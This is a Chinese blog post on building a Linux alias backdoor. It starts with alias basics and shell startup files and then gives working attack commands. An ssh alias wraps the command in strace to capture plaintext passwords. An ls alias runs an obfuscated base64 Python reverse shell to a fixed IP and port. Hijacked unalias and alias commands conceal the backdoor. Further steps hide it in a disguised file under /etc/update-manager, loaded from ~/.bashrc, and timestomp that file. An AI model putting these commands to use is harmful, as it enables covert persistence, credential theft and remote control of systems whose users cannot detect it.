alias后门 | Linux 后门系列
0x01 alias 简介
alias 命令的功能是为命令设置别名,比如我想让我每次输入 ls
的时候都实现 ls -al
那怎么实现呢?
alias ls = 'ls -al'
对于通过ssh远程登录的用户来说,每次设置只在本次连接过程中有效,下次再进行登录的时候就不会这样了
0x02 alias 使用方法
系统中存在一些默认的别名,直接输入 alias 或者 alias -p 可以进行显示
Ubuntu Server 16.04 结果如下:
这里有我们熟悉的 ll
命令,这个命令的真实含义其实是 ls -alF
可以看到我们可以直接执行 ll
来短缩我们的命令长度
如果我们只想实现查看一个别名的含义,可以直接使用 alias cmd ,我们以ll命令为例
设置一个别名 alias getpwd = 'cat /etc/passwd'
删除一个别名 unalias getpwd
此时我产生了一个疑问,系统默认的这些个别名是在哪里设置的呢?alias 是不是有一个统一的配置文件呢?
抱着这样的疑问,我想看一看alias 相关的文件夹以及文件
- which alias
可以看到,似乎alias并不是一个在环境变量中的可执行文件
- dpkg -L alias
也不是通过 dpkg 安装的,那么只能上大招了
可有发现有两个名字为 alias 的文件
这个文件似乎不是alias 的配置文件,看下一个
这个也不是,百度google了一番也没有找到有文件说存在alias 的配置文件
那么问题来了,默认的这些个别名设置是怎么来的呢?
猜也知道对吧,肯定在系统启动默认加载的配置文件里,比如 /etc/profile 、 /etc/bashrc 、~/.bashrc、~/.bash_profile 、~/.profile 、~/.bash_logout
- /etc/profile 【系统级】Linux是一个多用户操作系统。用户登录或切换(即Login shell 启动)时都有一个专用的运行环境,但首先执行 /etc/profile
- /etc/bashrc 【系统级】在 bash shell 打开时运行,修改该文件配置的环境变量将会影响所有用户使用的bash shell
- ~/.bashrc 【用户级】当用户登录时以及每次打开新的shell时该文件都将被读取,不推荐在这里配置用户专用的环境变量,因为每开一个shell,该文件都会被读取一次,效率肯定受影响
-
~/.bash_profile && ~./bash_login
【用户级】
- 如果有其中的一个文件存在的话, 当启动的是一个登录shell时,Bash 会执行该文件而不会执行~/.profile
- 如果两个文件都存在的话,Bash 将会优先执行~/.bash_profile 而不是~/.bash_login
- ~/.bash_logout 【用户级】当每次退出系统(退出bash shell)时执行该文件
参考 https://www.cnblogs.com/lovychen/p/10911699.html
查看 ~/.bashrc 配置文件
- cat ~/.bashrc
逮到了!
那root用户会不会存在 .bashrc 文件呢?
- sudo cat /root/.bashrc | grep alias
也是存在的,所以这些都是"藏污纳垢"的好地方
0x03 alias 后门分析&制作
当前用户目录下.bashrc
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
上面是我搜索了10多篇文章,发现的同一条后门命令,既然有前辈写了,咱们就分析分析
上面后门中,其实 alias 只是做了一个小技巧,而不是主要的后门命令,含义也就是将当前用户的ssh命令修改为
- strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh
这里主要涉及到 strace 这个命令,以及一些它的参数,
strace 是什么命令?
我了解了一下,发现 strace 是一个巨牛的工具,堪称神奇,简单来说它是一个调试工具,实际来说,他能把你这个程序在干啥整得明明白白
strace能做什么?
- 它可以基于特定的系统调用或系统调用组进行过滤
- 它可以通过统计特定系统调用的使用次数,所花费的时间,以及成功和错误的数量来分析系统调用的使用。
- 它跟踪发送到进程的信号。
- 可以通过pid附加到任何正在运行的进程。
- 调试性能问题,查看系统调用的频率,找出耗时的程序段
- 查看程序读取的是哪些文件从而定位比如配置文件加载错误问题
- 查看某个php脚本长时间运行“假死”情况
- 当程序出现“Out of memory”时被系统发出的SIGKILL信息所kill 另外因为strace拿到的是系统调用相关信息,一般也即是IO操作信息,这个对于排查比如cpu占用100%问题是无能为力的。这个时候就可以使用GDB工具了。
参考:https://www.jianshu.com/p/33521124bdf2
等我研究到系统内核,进程间通信等等再把这个工具详细写一写,当然了,也可能想不开哪天就写了
接下来我们分解一下上面的命令
- strace -o /tmp/sshpwd-xxx.log 其中xxx为 `date '+%d%h%m%s'`
把strace的输出单独写到指定的文件 /tmp/sshpwd-xxx.log ,这个没啥好说的
- -e read,write,connect
Linux内核目前有300多个系统调用,详细的列表可以通过syscalls手册页查看。这些系统调用主要分为几类:
文件和设备访问类 比如open/close/read/write/chmod等
进程管理类 fork/clone/execve/exit/getpid等
信号类 signal/sigaction/kill 等
内存管理 brk/mmap/mlock等
进程间通信IPC shmget/semget * 信号量,共享内存,消息队列等
网络通信 socket/connect/sendto/sendmsg 等
其他
这里的含义就是监听read,write,connect 函数,说白了,把读写远程连接都给监听了,当然大家可以监听更多 - -s2048 ssh -s2048 我查询了一下,并没有发现有这个参数,我很好奇,这到底是什么参数... 后来我明白了,这个应该是 -s 2048 中间的空格因为第一个写文章的人给写错了,导致大家都整错了,实际上并不是这么回事 -s 2048 是设置打印字符串的长度,默认是32
所以整个命令应该修改为
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s 2048 ssh'
在 Ubuntu Server 16.04 中进行测试
现在我们在这台服务器上远程连接其他服务器
可以看到,我们尝试用root/123456 登录192.168.1.46 ,之后服务器的tmp目录中生成了 sshpwd-xxxx文件,我们看一下其中的内容
可以看到我们之前提交的数据,同时呢,这个文件返回的内容也比较多,只要改一个好点的名字可能会让安全管理人员认为是正常的文件
这种后门的场景就是用户登录到这台主机上后,使用这台主机的ssh去远程连接其他主机才能引发后门,记录明文密码,这局限性太大了,顶多可以作为一个后门辅助。
alias 可以设置别名,那么有几个疑问
- 如果一个可执行文件放在环境变量path下,同时设置一个与这个文件名相同的别名,看看哪一个会执行
- alias 设置别名的时候可以使用绝对路径吗?
可以看到,绝对路径是支持的,那这样的话我们尝试劫持一下 ls 命令
-
- alias 在设置 ls="xxxx" 后,后续设置的别名引用ls,是引用的别名还是可执行文件
可以看到,此时的 ls 是带有颜色的,而且别名 ls 的值为 ls --color=auto
此时可以看到,执行可执行文件就没有颜色了
可以看到,此时执行 lstest 显示的文件名称是有颜色的
- 得出结论: 设置别名和设置变量很相似,是可以进行传递的
- 设置
alias lstest="ls"
- 执行可执行文件 /bin/ls
- 查看当前的ls别名以及执行
- alias 想要使用参数怎么整 alias ls='ls --color=auto;pwd' 这么写默认参数会传递给pwd,那pwd哪管你啥参数
所以这样的话一下就会被管理员发现,怎么整呢,把我们的参数传递给ls不就行了吗?
这也不行呀,查资料才知道,alias 不支持参数,函数才支持参数
用了好几天时间吭哧瘪肚想出来的一个后门
就使用 alias + python3 劫持 ls
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'''UTF-8''')}[sys.version_info[0]]('''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xMDguMTEiLCA1NTU1KSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDApCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAxKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMikKICAgICAgICBwID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsICItaSJdKQogICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgIGV4aXQoKQ==''')))";};alerts'
alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'
alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'''/";};alerts'
实现的效果是:
- 劫持了 ls 命令,输入 ls 后可以执行我们的反弹 shell 的命令
- ls 命令执行完全正常,用户无感知
- 劫持了 unalias 命令,使用户无法直接通过 unalias 来解除我们的 ls 别名
- 劫持了 alias 命令,使用户查看别名列表的时候发现 ls 一直是 ls='ls --color=auto'
- 在用户退出ssh的时候才会反弹shell(这个我表示不理解,好像情况也不是很统一,可能跟我给了服务器单核有关系)
其实里面还涉及了一些知识点,比如:算了,你们自己去尝试把命令解密开,自己看吧,没啥难的
0x04 后门隐藏
整的似乎挺好,但是怎么隐藏起来,并且能够让所有登录的人直接就中招呢???
肯定是离不开开机自启的程序或者配置文件了
上面我们提到了几个对吧,比如: /etc/profile 、 /etc/bashrc 、~/.bashrc 、~/.bash_profile 、~/.profile、~/.bash_logout
但是我觉得都不好,因为这些大家都知道了,应急响应恨不得上来就检查这些内容呢
我选择 ~/.bash_aliases
,这个文件呢,默认不会有,但是在 ~/.bashrc 中默认加载
可以看到,我在 helper 的目录中新建了一个 .bash_aliases 的文件,在文件中写入 alias ls='ls -al'
重新登录后,执行 ls 的时候已经是执行 ls -al
了
此时,我们使用 root 权限进行 ls 的时候,执行的就是 ls ,因为在 root 的家目录下没有 .bash_aliases
文件
我们看一下 ~/.bashrc
文件中是如何载入 .bash_aliases
的
可以看到,现在 Ubuntu 16.04 中已经是默认加载这个文件了
我知道你在想什么,哈哈哈哈哈,我也寻思呢,我给换一个更加有迷惑性的目录和文件名,之后设置加载,岂不美哉?
经过我的一番寻找,加上自己所剩无几的经验,终于找到了一个目录 /etc/update-manager/
,这个目录我跟你说,我一眼就相中了,这简直就是为后门设计的呀
这个目录里的 release-update 就是我新建的配置文件,看不出来吧,是不是很和谐,我都羡慕我自己了,我在这说啥呢,我的天
那好,我们把配置插进 ~/.bashrc
你看,我还像模像样的写了两行注释,伪装一下 ,记得把之前的 ~/.bash_aliases 删除掉
此时,我们推出 ssh 连接,之后再次连接,我们测试一下:
可以看到,我们的别名已经执行了, ls='ls -al'
现在我们要让这个后门更加完善
- 在
/etc/update-manager/release-update
中写入我们的 alias 后门
- 修改我们的文件的MAC时间,模拟成这个目录的正常文件模拟得更真实一些
现在可以看到,MAC时间一看就能看出来是新建的文件,用 stat 来查看更加清晰
修改后门文件的时间与同目录名称相似的文件的 MAC 时间相同
touch -acmr /etc/update-manager/release-upgrades /etc/update-manager/release-update
可以看到,除了change 时间,其他的都一样了 change time 表示最后一次对文件属性改变的时间,包括权限,大小,属性等等。我没有找到能够任意修改文件的change time 的方法,所以上面的就是能做的最大了
- 完成了,走一下试试
完美!!!
- 通过httprouter和redis框架搭建restful api服务
- .NET Core 实现定时抓取博客园首页文章信息并发送到邮箱
- 基于 R 语言和 SPSS 的决策树算法介绍及应用
- Android 8.0 中的安全增强功能
- python2 群发 html 或文本邮件
- windows 安装 storm 及 eclipse 调试 TopN 实例
- shell 学习笔记(16)
- 根据ip查找ISP运营商和归属地的几种方法
- windows 安装 spark 及 pycharm 调试 TopN 实例
- storm kafka 编程指南
- 基于Session的身份窃取
- 使用 django-blog-zinnia 搭建个人博客
- 针对提权小神器Sherlock的分析与利用
- 关于 rsync 中: 和 :: 及 rysnc 和 ssh 认证协议的区别
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 手机软键盘弹起导致页面变形的一种解决方案
- Codeforces Round #547 (Div. 3)F2. Same Sum Blocks (Hard)
- 《 动态规划_ 入门_最大连续子序列 》
- docker搭建elasticsearch集群
- 用canvas实现手写签名功能
- Codeforces Round #547 (Div. 3)G. Privatization of Roads in Treeland
- 《 动态规划_ 入门_最大连续子序列_HDU_1003 》
- 2015 09CCF计算机软件能力认证试题第三题
- 《内蒙古自治区第十二届大学生程序设计竞赛试题_D: 正品的概率》
- Elasticsearch: Painless script编程
- mysql实现定时全量备份
- 在浏览器调起本地应用的方法
- 《内蒙古自治区第十二届大学生程序设计竞赛试题_G: 最大收益》
- Vue 实现前进刷新,后退不刷新的效果
- 2015 09 CCF计算机软件能力认证试题第四题高速公路